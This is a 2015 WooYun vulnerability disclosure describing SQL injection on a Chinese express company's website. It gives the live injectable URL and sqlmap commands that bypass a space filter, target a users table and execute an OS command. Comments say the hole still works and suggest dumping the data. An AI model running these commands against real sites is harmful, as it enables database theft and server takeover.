当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0126134

漏洞标题：全峰快递主站SQL注入可执行命令导致全站沦陷

相关厂商：qfkd.com.cn

漏洞作者： lightless

提交时间：2015-07-11 15:25

修复时间：2015-08-25 15:26

公开时间：2015-08-25 15:26

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-11： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-08-25： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

外卖被台风吹走了。。好烦。。。

详细说明：

全峰快递主站存在注入点：http://www.qfkd.com.cn/city.aspx?wang=231&city=640&type=%E7%BD%91%E7%AB%99%E5%90%8D%E7%A7%B0&keywords=%E6%B5%99%E6%B1%9F
参数keywords可以注入，但是过滤了空格，用注释绕过即可

$ python sqlmap.py -u "http://www.qfkd.com.cn/city.aspx?wang=231&city=640&type=%E7%BD%91%E7%AB%99%E5%90%8D%E7%A7%B0&keywords=%E6%B5%99%E6%B1%9F" -p keywords --tamper=space2comment -D qfhy -T dt_users


漏洞证明：

数据库信息：

2-1.png


某个数据库里的表：

2-2.png


试了下可以执行命令，权限真大，吓死宝宝了。。

$ python sqlmap.py -u "http://www.qfkd.com.cn/city.aspx?wang=231&city=640&type=%E7%BD%91%E7%AB%99%E5%90%8D%E7%A7%B0&keywords=%E6%B5%99%E6%B1%9F" -p keywords --tamper=space2comment --os-cmd="whoami"


2-3.png


剩下弹个shell回来的就不做了，不深入了。。
谢绝跨省

修复方案：

过滤咯，别的地方都过滤了，就这个参数没过滤。。。
权限降低些咯。。

版权声明：转载请注明来源 lightless@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)

漏洞评价：

评论

  1. 2015-08-25 21:09 | 表哥 ( 路人 | Rank:6 漏洞数:3 | 666的大表哥)

    我去 还能用

  2. 2015-08-25 21:58 | hh2014 ( 普通白帽子 | Rank:225 漏洞数:39 | 继续)

    运气不错，wooyun补rank了，我发的全峰的就直接忽略了

  3. 2015-08-26 00:13 | 丶潇洒哥 ( 路人 | Rank:5 漏洞数:2 | 我是一枚农民工。)

    给他脱了。

  4. 2015-08-26 09:15 | 马云 ( 路人 | Rank:10 漏洞数:5 | 啪啪啪啪啪啪啪啪)

    无良厂商

  5. 2015-09-24 15:15 | 二愣子 ( 普通白帽子 | Rank:106 漏洞数:22 | 毛毛你是个好姑娘)

    这厂商~~~~都不补的啊~~~~